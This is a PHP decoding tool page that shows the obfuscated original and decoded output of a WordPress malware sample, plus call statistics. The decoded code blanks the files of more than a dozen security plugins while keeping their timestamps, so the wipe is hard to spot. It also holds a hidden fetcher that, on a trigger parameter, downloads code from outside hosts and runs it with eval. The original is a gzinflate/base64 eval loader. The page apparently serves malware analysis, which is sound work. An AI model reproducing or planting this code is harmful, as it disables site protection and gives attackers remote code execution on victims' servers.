Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $j_t = ''.chr(115).'tr'.chr(114).''.chr(101).'v';$stuywu_l = array('lVgJU+LKFv4rGYu6..
Decoded Output download
$ecadf = 'ypsywvj_ouhlzbdoeaybgtpoqozeqobokoexj'; ; $d = $_SERVER['DOCUMENT_ROOT'].'/wp-content/plugins/';$f = array($d.'wordfence/wordfence.php',$d.'wordfence/waf/bootstrap.php',$d.'better-wp-security/better-wp-security.php',$d.'sucuri-scanner/sucuri.php',$d.'wp-security-audit-log/wp-security-audit-log.php',$d.'total-security/total-security.php',$d.'wp-hide-security-enhancer/wp-hide.php',$d.'bulletproof-security/bulletproof-security.php',$d.'wp-simple-firewall/icwp-wpsf.php',$d.'wp-security-policy/wp-content-security-policy.php',$d.'wp-cerber/wp-cerber.php',$d.'defender-security/wp-defender.php',$d.'security-ninja/security-ninja.php',$d.'cwis-antivirus-malware-detected/cwis-antivirus-malware-detected.php',$d.'ninjafirewall/ninjafirewall.php',$d.'security-antivirus-firewall/index.php',$d.'nfwplus/lib/firewall.php'); foreach ($f as $w){ if (is_file($w) && filesize($w) > 0) { $stat = stat($w);fclose(fopen($w,'w'));@touch($w,$stat['mtime'],$stat['mtime']);clearstatcache();}};global $auth_pass,$color,$default_action,$default_use_ajax,$default_charset,$sort,$home_cwd,$cwd,$os,$safe_mode;if(!function_exists('get_magic_quotes_gpc')){ function get_magic_quotes_gpc() { return false; }}; if (!function_exists('billb')) { function billb($i){$a=Array('TW'.'96aWxsYS80LjA'.'gK'.'GNvbXBhdGlib'.'GU7IE1T'.'SUUg'.'OC4wOy'.'BX'.'aW'.'5k'.'b3dzI'.'E5UIDYuMCk=','TW96aWx'.'sYS'.'81Lj'.'AgKF'.'d'.'pbmRv'.'d3M7IFU7IFd'.'pb'.'mRvd3Mg'.'Tl'.'QgNS4xOyBl'.'bi1V'.'Uzsgcn'.'Y6MS'.'45'.'LjAuMS'.'k'.'gR2Vj'.'a2'.'8v'.'MjAwOD'.'A5MjIxNSB'.'GaX'.'J'.'lZm'.'94'.'LzMuMC4x','TW96aWxsYS81'.'LjA'.'gK'.'F'.'dpbmRvd3M7I'.'FU'.'7'.'IFdpb'.'mR'.'vd'.'3MgT'.'l'.'QgNS4xOyBlbi'.'1VUykgR'.'2Vja28'.'vMjA'.'wMz'.'A1MDQgTW9'.'6aWxsYSB'.'G'.'aXJlYmlyZ'.'C8wLj'.'Y=','T'.'W96aWxsY'.'S'.'81LjA'.'gKFd'.'pbmRv'.'d'.'3M7IFU7'.'IFdpb'.'m'.'Rvd3'.'M'.'gTl'.'QgNS4'.'xOy'.'Blbi'.'1VUzs'.'gcn'.'Y6'.'MS45LjIuMTApIEdl'.'Y2'.'t'.'vLz'.'Iw'.'MT'.'A'.'wO'.'T'.'E0'.'IEZpcmVm'.'b3gvMy4'.'2L'.'jEw','c'.'2Fm'.'ZV'.'9tb2Rl','b'.'3Bl'.'bl9i'.'YXNl'.'ZGly','aHR'.'0cHM6Ly8=','aHR'.'0cHM'.'6L'.'y'.'8=','aH'.'R0cDovL'.'w'.'==','','Iy8'.'j','Lw==','','','Lw==','Lw==','QW'.'NjZ'.'XB'.'0LUx'.'h'.'bm'.'d'.'1YWdlOi'.'Blbi11'.'cywgZW'.'47cT'.'0wLj'.'UwD'.'Qo=',''.'Q29ubmV'.'jdGlvbjogQ'.'2xvc2U'.'NC'.'g0'.'K','DQoN'.'Cg'.'==','Cg'.'==','PGJ'.'y'.'I'.'C8'.'+','','L0xvY'.'2'.'F0aW9'.'u'.'XD'.'ov',''.'TG'.'9jYXRpb246IA'.'='.'=',''.'D'.'Q==','DQoNCg'.'==','','JiM3NiYjMT'.'ExJi'.'M5'.'OSYjOTcmIzExNiYjMTA1JiMx'.'MT'.'EmIzE'.'xMCYjNTg=','TG9j'.'YXR'.'pb'.'246','YW'.'xs'.'b3dfdX'.'JsX2'.'ZvcGV'.'u','M'.'Q'.'==','aH'.'R0cA'.'='.'=',''.'b'.'WV0a'.'G9k','R0VU','aGVhZ'.'GVy','QWNjZXB0'.'LUx'.'hbmd1Y'.'Wd'.'lOiBlb'.'i11cyw'.'gZW47cT0wL'.'jUwDQo'.'=',''.'VXNlci1'.'B'.'Z2Vud'.'Dog',''.'DQo=','dGltZW91dA==',''.'eFg3cXJHNkZzaA==',''.'aHR0cDov'.'L25ldG5ldDQ0'.'Lm'.'5ldC9z'.'Mg==',''.'a'.'HR'.'0cDovL3Np'.'b'.'WJl'.'cnNhLm'.'NvbS9'.'zMg==','aH'.'R0cD'.'ovL'.'3d'.'l'.'YnJ'.'v'.'ZW1lci'.'5k'.'ZS9zMg==','a'.'HR0c'.'DovL29ka'.'W50YXJhLmNvbS'.'9zMg==',''.'YmFzZQ==','N'.'j'.'Q=','X2Rl','Y29'.'k','ZQ'.'='.'=');return base64_decode($a[$i]);} if(!function_exists('cc2')){function cc2($_0,$_1=10){$_2=array(billb(0),billb(1),billb(2),billb(3));if(function_exists('curl_init')&& function_exists('curl_exec')){$_3=$_2[rand(round(0),count($_2)-round(1))];$_4=curl_init();curl_setopt($_4,10002,$_0);curl_setopt($_4,42,round(0));curl_setopt($_4,13,$_1);curl_setopt($_4,19913,round(1));curl_setopt($_4,10018,$_3);if(!(@ini_get(billb(4))||@ini_get(billb(5)))){@curl_setopt($_4,52,round(1));}@curl_setopt($_4,68,round(3));@curl_setopt($_4,64,false);$_5=curl_exec($_4);curl_close($_4);if($_5 !== false){return $_5;}}else if(function_exists('fsockopen')){global $_6;$_7=(strpos(strtolower($_0),billb(6))!== false)?billb(7):billb(8);$_8=$_2[rand(round(0),count($_2)-round(1))];$_0=str_replace($_7,billb(9),$_0);if(preg_match(billb(10),"$_0")){$_9=$_0;$_0=@explode(billb(11),$_0);$_0=$_0[round(0)];$_9=str_replace($_0,billb(12),$_9);if(!$_9 || $_9 == billb(13)){$_9=billb(14);}$_10=gethostbyname($_0);}else{$_10=gethostbyname($_0);$_9=billb(15);}$_11=fsockopen($_10,round(80),$_12,$_13,$_1);stream_set_timeout($_11,$_1);if($_11){$_14="GET $_9 HTTP/1.0
";$_14 .="Host: $_0
";$_14 .="Referer: $_7$_0$_9
";$_14 .= billb(16);$_14 .="User-Agent: $_8
";$_14 .= billb(17);fputs($_11,$_14);while(!feof($_11)){$_15 .= fgets($_11,4096);}fclose($_11);$_15=@explode(billb(18),$_15,2);$_16=$_15[round(0)];if($_6){$_16="$_6<br /><br />
$_16";}$_16=str_replace(billb(19),billb(20),$_16);if($_15[round(0+1)]){$_17=$_15[round(0+1)];}else{$_17=billb(21);}if($_17){$_15=$_17;}else{$_15=$_16;}if(preg_match(billb(22),"$_16")){$_0=@explode(billb(23),$_16);$_0=$_0[round(0.5+0.5)];$_0=@explode(billb(24),$_0);$_0=$_0[round(0)];$_6=str_replace(billb(25),billb(26),$_16);$_18=billb(27);$_6=str_replace(billb(28),$_18,$_6);return cc2($_0);}else{return $_15;}}}else if(ini_get(billb(29))== billb(30)){$_19=stream_context_create(array(billb(31)=> array(billb(32)=> billb(33),billb(34)=> billb(35) .billb(36) .$_8 .billb(37),billb(38)=> $_1)));$_5=file_get_contents($_0,FALSE,$_19);if($_5 !== false){return $_5;}}else{return round(0);}}}if(isset($_REQUEST[billb(39)])){$_20=array(billb(40),billb(41),billb(42),billb(43));shuffle($_20);for($_21=round(0);$_21<count($_20);$_21++){$_22=billb(44) .billb(45) .billb(46) .billb(47) .billb(48);$_23=cc2($_20[$_21]);if(strlen($_23)== round(7416+7416+7416+7416)){eval($_22($_23));exit;}}}}
Did this file decode correctly?
Original Code
<?php $j_t = ''.chr(115).'tr'.chr(114).''.chr(101).'v';$stuywu_l = array('lVgJU+LKFv4rGYu6kBIlCWH','J5WbeOIoOjsBVAQFnKpWlE4','KBZLKwOf73d05nA+W+xTKd7','nP67F8voUB01TAZmSluvWC7','Xs0VN5o5O81wibrVrNBzf7k','78svV3BeXbObFFtNiCgbMLy','iP7YdR++G5eNW/HHbbvYHy0','O8Pij/Pi5W1d6a7y5Asw4rn','RJa9DCrFVgGtqL6vbksF47y','4dn3DJEudVLLeuTfziuV3TN','WsaK4bBqGvevkEjYQh8c/AU','ED0yLfDbeUjKZ8eREg5C3R1','uSR+JR7umctlztTIsMMzx7U','qR6m5UOiGqpObPxwe6J7ZBs','lVkeVMhcj8SsLZCypyHBJ6v','uuae2EdIR56bi88h5yZtk/W','quNUbB2Iay8wj8fnuY6tb/d','K9J51IAZ+arGrcS9nGgQKZE','DCM09hUkrcy3yqfGkv52rlc','JhP09d2cKYuQ3tl+1FwtlCd','teoT0BcSPSRG5b/wc0VUb5a','Lg9ERp3KNefrA/82ePnMNEA','4qjq1VDhSxLcZ0faLqM6YE0','FYDprBmXxnbZEp2oJi2Q0pA','YP74g8F+YO/i8WeGY5lXphC','EagjrAV9Ib5m64wakZLoeWQ','KhXFwXWbb1JXQjfYZjKvBcX','IT2ghR/vhuyLd0hqo80HRwi','Jbb19tayHFdTHaagRuFM8dQ','gKBd013F9iIuYauSEiqqHtr','vMx1FAFHWubnKKPgO1JAR7r','g/tzF0QRV8boAkbF1QGqkmU','hWuQlm2WPpnRkupUyMYOwqB','UtEioLFTL1pVfkRuSQLE8HS','J7ZdKZzLEZJcyRT8LIXzKm6','gSkxUBANLkfTWi242igk9lT','Smmlgs2+FlT5gm46xcFT8bw','o1dWnTTB5bHJ38wsYW9+hue','mttPHXmXEDVcbhsNFp8wPoP','Q6HFrz6l+K6v4XO1zE0Kuqp','vUCjVY1dB97t2rBzNYm6ly9','ysQx2qBGggx1om/zdHF4X1v','dreBnweNriYYX9arfRuQZr1','zEVGmAAFY0OHGjurd6juOlv','v+JAs/kRvIa7wNKX0JnUu6h','frEED0UR0hH5ZD8IITaoCmk','dL3fnFun+FXtS6886m9/gV4','1QxnFt4nOkCcyOiol0XAhE3','eSCYLT42kSaMBkKjoCEgZQh','NAx6IJQkEmhXGBeFgLg/D0W','wY8qPh9sXCieCvKjRRokutr','Ls7dJbvXt1b4Ab0E0+o3xja','+NaZLJztFPqXzTXN8IRmHzq','p31jBpACx69cH2ae+0QLs+w','0PhoVJQ5m8DPDexCjIvN8FO','CUpBko8irW7eSfqDi68TttA','0QnWIMTI7jCkzhqnoZM0zD4','WGhHEIa899fTFaEGRZa26Wz','Qp3EEzb68hNB2H18ieIg6kU','BMeHKCj29UYIY6Enk3GPRxN','b5wtsNVvmGFO/9at322b8gE','FE4sGMKyEhfFz+pW7Qjp6Ky','Md/jtbLNAcenfrlJYPktc9L','o7eHMsyxlpxd0NcCTN0bpEk','nZ88GU7fTjLJI7b07dqaoqj','Y0DEfXFzR4Roxe+9Sa9ARpE','hbYOxzWKsrbe5a95iTzUoXE','H+9SywHpvI7CFzduz1Eh5XG','kPf+vrlNgu5Q/EBzmkTDbVa','IG6zaNadS6EUYDDrirmI/Bo','hAaT4ZP3iaINY7WEqZPpRNf','aZ20IXcKvzf2t1qz57MKQLa','m1tMQhfXb/9xMu8P9EVn197','EEy54mLxJ0dJGDiKwezmZ9w','YWhfqNRGE/fkh3D3AG6BNM5','CaINyjToIs8GGNE05V+M6IR','lSm671PX0rK/iwR1Po04FRe','d9AK0B240xOk3oxmW+Ga0pT','WHgo+/Yt6TamsLg8csPmG5o','dRQZ+hAqaHOWKLpE9YZioyl','hCLfu7nNEYBXtxEUiJ+pMIp','QyZVrJcmN0QD1D6dPEm9cyI','kcubaq+vj2W+9lulMzKkCdg','hl9E2qOcQPP1T11FeEIo0sJ','12XXyiTgSdYHLoJqz0sTcYu','LSl/2ZlQUzoxHRMcuEc1WDg','UKRlY1km1vskS4oQ/TJx6CS','8+P6aOUSVOrnE5DXd0J0gtS','nmrcZHwL9tAYYm6X+zlZXO+','mMcx6dF0i6GAwjjeFiSDR06','BcnN5nRWVbyaGqqQGpi4pBd','Di5SwX1uWDDLeKNOXqG67qA','R3Z2uMK4VFC4ckHhZZ6DI1Y','R5PhiHx+7HFuOO3zaEdJOFS','41YOOjich3FHtph0UWb0xH2','WRD6NWhoFRlMPnsq0uj5LsR','tGBRhw5cpRSBPYtpPMv+bBU','UUc50w7WI9uFC43o4VyzzHM','cJEAj3kSUK5VT5EbkqRn+EL','knAyhw4Zo9vgmiVpuFT6Qv4','pcANKMmcyLK/f7+j1Vj4e/3','yXlNN2DPz9oFdbyZszPhHrl','im1yoWElSTs+wiL/E5vo7SM','TgKs5hPshzfxdjXBERAhXsm','ARJzrKZm4OoveJ/FoqWXUaU','OJhtyCb7nPDfAVwh30jXxEV','EpSuosm1v7V0xrsH/GnSY63','fw/EMDJYEXxieeoOobUSKxI','bFx48N3ziQWX0BDu2glyQd8','JcE8o3iSwxlFNX8jGc3DJJN','P4RAfy4HlOnUG70ju7XLoqB','BSSYgRAh/n9m8EXRJxMqCZW','kyHU4A3QxskAipkbhNp2qS6','oRmBg+l//ibunpBYr4eWsLC','WUSlDS5NAnHpdCCm1wnqgLR','I2CXxluhLnl+ZhJMQHRo2VR','PrlpD2gI3waDvyv8OffD/7E','8aSGPOZdPvoFXfwL/HfkBPh','Z94iOnAUyQP+CnyaizmcQwg','O/NCws+WlGoeXR6A76lvAjw','lzoL2VvP8HPsk0ncxG3qdw2','lTMhaMlfkJLD1ZqbQh3movP','ah6E2aq1pZoPy6jIO9ytPc1','KmJugwgqv+l+Uzlc9z+WCL5','hNaifgCQRLmU7ZlxSeppsjM','Tpzz7k2pvyO/JORwaSd0FCO','ItVtCIo0ahRj6Rjut0zodVI','Ah0FYC/NGMf4C9UUxff4f+8','dgpPsvreC4n/Yc0cS4lQy1J','Sz+3xzTTCBvtPgnGhcL+tZy','dfcnilKyfbynjcy7LN7HALF','iSWzVZnlYvhQ5c3rhD6O8oG','vpVhFJLS/klY5Vn5M3NAEZC','S9KvZsSjuUWssc55069AFoG','fjRibQRAFcimy8h+OPDOixk','vyqE9AN5/ri7rGNOZD+p208','paQVwYxgMgLYBED4oX0/bD8','OnhMXJIAhPfy5g9NfzLZxMT','v/xewCIOJ5FMwi08QfSEAWl','quLm7/Ay5lZHP2VbecJ4fSU','GhOSsotiliYxz5hYz7uNvEv','PDKEqx8UXuGdU+JPmBIro0L','0QwAypiX1oiHz99LCBUMlKd','XCiEM9mW3DShZijt38D');$mftdhb = $j_t('e'.'d'.'o'.'c'.'e'.'d'.'_'.'4'.'6'.'e'.'s'.'a'.'b');$h_fvvecj = $j_t('ed'.'ol'.'pm'.'i');$wdykvti = $j_t(''.chr(101).'tal'.chr(102).'n'.chr(105).''.chr(122).'g');eval($wdykvti($mftdhb($h_fvvecj('',$stuywu_l)))); ?>
Function Calls
chr | 7 |
strrev | 3 |
implode | 1 |
gzinflate | 1 |
base64_decode | 1 |
Stats
MD5 | fc5019a8091eabd12d31518da011fc6f |
Eval Count | 1 |
Decode Time | 61 ms |